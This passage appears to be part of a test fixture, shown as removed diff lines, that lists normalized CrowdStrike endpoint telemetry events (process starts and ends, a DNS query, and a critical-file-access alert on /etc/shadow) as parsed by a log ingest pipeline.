-a\",\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/bin/uname\",\"MD5HashData\":\"894356eb59e279696c304f07091b7fde\",\"NDRoot\":\"321385814512398584\",\"ParentProcessId\":\"321385814512398584\",\"ProcessEndTime\":\"1604855099.126\",\"ProcessGroupId\":\"0\",\"ProcessStartTime\":\"1604855099.126\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"51342\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SessionProcessId\":\"314116638974342642\",\"SourceProcessId\":\"321385814512398584\",\"SourceThreadId\":\"0\",\"TargetProcessId\":\"321385814512398605\",\"UID\":\"0\",\"aid\":\"ffffffff70d140ca9ba97f0dddd14137\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-ac87-06decddc17a1\",\"name\":\"ProcessRollup2LinV5\",\"timestamp\":\"1604855099681\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "group": { - "Ext": { - "real": { - "id": "0" - } - }, - "id": "0" - }, - "host": { - "id": "ffffffff70d140ca9ba97f0dddd14137", - "os": { - "type": "linux" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff70d140ca9ba97f0dddd14137", - "version": "1007.8.0009806.1" - }, - "process": { - "args": [ - "uname", - "-a" - ], - "args_count": 2, - "command_line": "uname -a", - "end": "2020-11-08T17:04:59.126Z", - "entity_id": "321385814512398605", - "executable": "/bin/uname", - "group": { - "id": "0" - }, - "group_leader": { - "entity_id": "0" - }, - "hash": { - "md5": "894356eb59e279696c304f07091b7fde", - "sha256": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa" - }, - "name": "uname", - "parent": { - "entity_id": "321385814512398584" - }, - "pgid": 0, - "pid": 51342, - "real_group": { - "id": "0" - }, - "real_user": { - "id": "0" - }, - "start": "2020-11-08T17:04:59.126Z", - "uptime": 0 - }, - "related": { - "hash": [ - "894356eb59e279696c304f07091b7fde", - "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa", - "4288861242" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2020-11-08T17:04:59.646Z", - "crowdstrike": { - "AsepWrittenCount": 0, - "ConfigStateHash": "1789338890", - "ContextProcessId": "317713210176499254", - "ContextTimeStamp": "2020-11-08T17:04:56.730Z", - "DirectoryCreatedCount": 0, - "DnsRequestCount": 0, - "Entitlements": "15", - "ExecutableDeletedCount": 0, - "FileDeletedCount": 0, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkListenCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "SHA256HashData": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0", - "SuspectStackCount": 0, - "SuspiciousDnsRequestCount": 0, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-809e-02fff4e55a49", - "name": "EndOfProcessMacV14" - }, - "device": { - "id": "ffffffff75fc48f15cfe5f095e605c4c" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2020-11-08T17:04:59.646Z", - "id": "ffffffff-1111-11eb-809e-02fff4e55a49|ffffffff75fc48f15cfe5f095e605c4c|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"317713210176499254\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855096.730\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"28987\",\"SHA256HashData\":\"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"317713210176499254\",\"aid\":\"ffffffff75fc48f15cfe5f095e605c4c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-809e-02fff4e55a49\",\"name\":\"EndOfProcessMacV14\",\"timestamp\":\"1604855099646\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffff75fc48f15cfe5f095e605c4c", - "os": { - "type": "macos" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff75fc48f15cfe5f095e605c4c", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "317713210176499254", - "hash": { - "sha256": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0" - }, - "pid": 28987, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0", - "1789338890" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:04:59.935Z", - "crowdstrike": { - "AllocateVirtualMemoryCount": 0, - "ArchiveFileWrittenCount": 0, - "AsepWrittenCount": 0, - "BinaryExecutableWrittenCount": 0, - "CLICreationCount": 0, - "ConHostId": "38188", - "ConHostProcessId": "3099352216141", - "ConfigStateHash": "3343111420", - "ContextProcessId": "3100508103359", - "ContextTimeStamp": "2020-11-08T17:04:57.926Z", - "CreateProcessCount": 0, - "CycleTime": 2937514388, - "DirectoryCreatedCount": 0, - "DirectoryEnumeratedCount": 1, - "DnsRequestCount": 0, - "DocumentFileWrittenCount": 0, - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ExeAndServiceCount": 0, - "ExecutableDeletedCount": 0, - "FileDeletedCount": 2, - "GenericFileWrittenCount": 0, - "ImageSubsystem": "3", - "InjectedDllCount": 0, - "InjectedThreadCount": 0, - "KernelTime": 7500000, - "MaxThreadCount": 4, - "ModuleLoadCount": 38, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkConnectCountUdp": 0, - "NetworkListenCount": 0, - "NetworkModuleLoadCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "PrivilegedProcessHandleCount": 0, - "ProtectVirtualMemoryCount": 0, - "QueueApcCount": 0, - "RegKeySecurityDecreasedCount": 0, - "RemovableDiskFileWrittenCount": 0, - "RunDllInvocationCount": 0, - "SHA256HashData": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f", - "ScreenshotsTakenCount": 0, - "ScriptEngineInvocationCount": 0, - "ServiceEventCount": 0, - "SetThreadContextCount": 0, - "SnapshotFileOpenCount": 0, - "SuspectStackCount": 0, - "SuspiciousCredentialModuleLoadCount": 0, - "SuspiciousDnsRequestCount": 0, - "SuspiciousFontLoadCount": 0, - "SuspiciousRawDiskReadCount": 0, - "UnsignedModuleLoadCount": 0, - "UserMemoryAllocateExecutableCount": 0, - "UserMemoryAllocateExecutableRemoteCount": 0, - "UserMemoryProtectExecutableCount": 0, - "UserMemoryProtectExecutableRemoteCount": 0, - "UserTime": 6406250, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8726-063418e4a9e7", - "name": "EndOfProcessV15" - }, - "device": { - "id": "ffffffffb5db4b2e7ec89aba537adcc2" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2020-11-08T17:04:59.935Z", - "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffb5db4b2e7ec89aba537adcc2|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"38188\",\"ConHostProcessId\":\"3099352216141\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextData\":\"\",\"ContextProcessId\":\"3100508103359\",\"ContextThreadId\":\"93436292950223\",\"ContextTimeStamp\":\"1604855097.926\",\"CreateProcessCount\":\"0\",\"CycleTime\":\"2937514388\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"1\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"2\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"3\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"7500000\",\"MaxThreadCount\":\"4\",\"ModuleLoadCount\":\"38\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"3099350649383\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855096.463\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"33016\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"3100508103359\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-5-18\",\"UserTime\":\"6406250\",\"aid\":\"ffffffffb5db4b2e7ec89aba537adcc2\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"EndOfProcessV15\",\"timestamp\":\"1604855099935\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffffb5db4b2e7ec89aba537adcc2", - "os": { - "type": "windows" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffb5db4b2e7ec89aba537adcc2", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "3100508103359", - "exit_code": 0, - "hash": { - "sha256": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f" - }, - "parent": { - "entity_id": "3099350649383" - }, - "pid": 33016, - "start": "2020-11-08T17:04:56.463Z", - "thread": { - "id": 93436292950223 - } - }, - "related": { - "hash": [ - "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f", - "3343111420" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "S-1-5-18" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-18" - } - }, - { - "@timestamp": "2020-11-08T17:05:00.139Z", - "crowdstrike": { - "AsepWrittenCount": 0, - "ConfigStateHash": "3344040805", - "ContextProcessId": "311775981885093125", - "ContextTimeStamp": "2020-11-08T17:05:01.341Z", - "DirectoryCreatedCount": 0, - "DnsRequestCount": 0, - "Entitlements": "15", - "ExecutableDeletedCount": 0, - "FileDeletedCount": 0, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkListenCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", - "SuspectStackCount": 0, - "SuspiciousDnsRequestCount": 0, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-bc03-065126dd0691", - "name": "EndOfProcessMacV12" - }, - "device": { - "id": "ffffffff1aa0482a5ea94f64e08e7b15" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2020-11-08T17:05:00.139Z", - "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"ContextProcessId\":\"311775981885093125\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.341\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"10507\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"311775981885093125\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"EndOfProcessMacV12\",\"timestamp\":\"1604855100139\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffff1aa0482a5ea94f64e08e7b15", - "os": { - "type": "macos" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15", - "version": "1007.4.0009304.1" - }, - "process": { - "entity_id": "311775981885093125", - "hash": { - "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3" - }, - "pid": 10507, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", - "3344040805" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:00.030Z", - "crowdstrike": { - "AuthenticationId": "999", - "ConfigStateHash": "3765958535", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "3", - "IntegrityLevel": "16384", - "MD5HashData": "571391f723a439e985a2064337e2802a", - "ParentAuthenticationId": "999", - "ProcessCreateFlags": "67634688", - "ProcessParameterFlags": "24577", - "ProcessSxsFlags": "64", - "SHA256HashData": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720", - "SessionId": "0", - "SourceProcessId": "17346335177", - "SourceThreadId": "107650023406", - "Tags": [ - "27", - "151", - "12094627905582", - "12094627906234" - ], - "TokenType": "1", - "WindowFlags": "384", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-a09e-06f79d630255", - "name": "ProcessRollup2V17" - }, - "device": { - "id": "ffffffff3a5a424fa02450da53619745" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2020-11-08T17:05:00.030Z", - "id": "ffffffff-1111-11eb-a09e-06f79d630255|ffffffff3a5a424fa02450da53619745|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"D:\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe --ps2\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe\",\"ImageSubsystem\":\"3\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"571391f723a439e985a2064337e2802a\",\"ParentAuthenticationId\":\"999\",\"ParentBaseFileName\":\"splunkd.exe\",\"ParentProcessId\":\"17346335177\",\"ProcessCreateFlags\":\"67634688\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"24577\",\"ProcessStartTime\":\"1604855099.406\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6116\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720\",\"SessionId\":\"0\",\"SourceProcessId\":\"17346335177\",\"SourceThreadId\":\"107650023406\",\"Tags\":\"27, 151, 12094627905582, 12094627906234\",\"TargetProcessId\":\"583707537390\",\"TokenType\":\"1\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"384\",\"aid\":\"ffffffff3a5a424fa02450da53619745\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-a09e-06f79d630255\",\"name\":\"ProcessRollup2V17\",\"timestamp\":\"1604855100030\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff3a5a424fa02450da53619745", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff3a5a424fa02450da53619745", - "version": "1007.3.0011603.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "SYSTEM" - } - }, - "args": [ - "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe", - "--ps2" - ], - "args_count": 2, - "command_line": "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2", - "entity_id": "583707537390", - "executable": "\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe", - "hash": { - "md5": "571391f723a439e985a2064337e2802a", - "sha256": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720" - }, - "name": "splunk-powershell.exe", - "parent": { - "entity_id": "17346335177", - "name": "splunkd.exe" - }, - "pid": 6116, - "start": "2020-11-08T17:04:59.406Z" - }, - "related": { - "hash": [ - "571391f723a439e985a2064337e2802a", - "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720", - "3765958535" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "S-1-5-18" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-18" - } - }, - { - "@timestamp": "2020-11-08T17:04:59.913Z", - "crowdstrike": { - "ConfigStateHash": "2784638081", - "ContextProcessId": "259090530891", - "ContextTimeStamp": "2020-11-08T17:04:55.961Z", - "DnsRequestCount": 1, - "DualRequest": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceIndex": 0, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed", - "name": "DnsRequestV3" - }, - "device": { - "id": "ffffffff4f1444bab96568879cb43556" - }, - "dns": { - "question": { - "name": "comp1.dom2", - "type": "A" - }, - "type": "query" - }, - "event": { - "action": "DnsRequest", - "category": [ - "network" - ], - "created": "2020-11-08T17:04:59.913Z", - "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed|ffffffff4f1444bab96568879cb43556|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2784638081\",\"ContextProcessId\":\"259090530891\",\"ContextThreadId\":\"16409623709004\",\"ContextTimeStamp\":\"1604855095.961\",\"DnsRequestCount\":\"1\",\"DomainName\":\"comp1.dom2\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff4f1444bab96568879cb43556\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DnsRequest\",\"id\":\"ffffffff-1111-11eb-8077-0606f7dcf2ed\",\"name\":\"DnsRequestV3\",\"timestamp\":\"1604855099913\"}", - "outcome": "success", - "type": [ - "protocol" - ] - }, - "host": { - "id": "ffffffff4f1444bab96568879cb43556", - "os": { - "type": "windows" - } - }, - "message": "DnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff4f1444bab96568879cb43556", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "259090530891", - "thread": { - "id": 16409623709004 - } - }, - "related": { - "hash": [ - "2784638081" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:02.247Z", - "crowdstrike": { - "ConfigStateHash": "4288861242", - "ContextProcessId": "321385820045701199", - "ContextTimeStamp": "2020-11-08T17:05:01.645Z", - "Entitlements": "15", - "UnixMode": "32768", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b70d-027f9ced2001", - "name": "CriticalFileAccessedLinV1" - }, - "device": { - "id": "ffffffff32ba43a483e76c6f0a4aa26f" - }, - "event": { - "action": "CriticalFileAccessed", - "category": [ - "file" - ], - "created": "2020-11-08T17:05:02.247Z", - "id": "ffffffff-1111-11eb-b70d-027f9ced2001|ffffffff32ba43a483e76c6f0a4aa26f|ffffffff30a3407dae27d0503611022d", - "kind": "alert", - "original": "{\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"ContextProcessId\":\"321385820045701199\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.645\",\"Entitlements\":\"15\",\"GID\":\"0\",\"TargetFileName\":\"/etc/shadow\",\"UID\":\"0\",\"UnixMode\":\"32768\",\"aid\":\"ffffffff32ba43a483e76c6f0a4aa26f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"CriticalFileAccessed\",\"id\":\"ffffffff-1111-11eb-b70d-027f9ced2001\",\"name\":\"CriticalFileAccessedLinV1\",\"timestamp\":\"1604855102247\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "/etc", - "name": "shadow", - "path": "/etc/shadow", - "type": "file" - }, - "group": { - "id": "0" - }, - "host": { - "id": "ffffffff32ba43a483e76c6f0a4aa26f", - "os": { - "type": "linux" - } - }, - "message": "CriticalFileAccessed", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff32ba43a483e76c6f0a4aa26f", - "version": "1007.8.0009806.1" - }, - "process": { - "entity_id": "321385820045701199", - "group": { - "id": "0" - }, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "4288861242" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2020-11-08T17:05:09.180Z", - "crowdstrike": { - "ConfigStateHash": "3344040805", - "Entitlements": "15", - "MD5HashData": "d51cef1b288e2032aee9805deff04bfd", - "MachOSubType": "1", - "RGID": "0", - "RUID": "0", - "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", - "SVGID": "0", - "SVUID": "0", - "SourceProcessId": "311776004953765502", - "SourceThreadId": "0", - "Tags": [ - "27", - "12094627905582", - "12094627906234" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-bc03-065126dd0691", - "name": "ProcessRollup2MacV3" - }, - "device": { - "id": "ffffffff1aa0482a5ea94f64e08e7b15" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2020-11-08T17:05:09.180Z", - "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"CommandLine\":\"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/usr/bin/plutil\",\"MD5HashData\":\"d51cef1b288e2032aee9805deff04bfd\",\"MachOSubType\":\"1\",\"ParentProcessId\":\"311774817965726568\",\"ProcessEndTime\":\"\",\"ProcessGroupId\":\"311774817965726568\",\"ProcessStartTime\":\"1604855111.240\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"10692\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SourceProcessId\":\"311776004953765502\",\"SourceThreadId\":\"0\",\"Tags\":\"27, 12094627905582, 12094627906234\",\"TargetProcessId\":\"311776004953765502\",\"UID\":\"0\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"ProcessRollup2MacV3\",\"timestamp\":\"1604855109180\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff1aa0482a5ea94f64e08e7b15", - "os": { - "type": "macos" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15", - "version": "1007.4.0009304.1" - 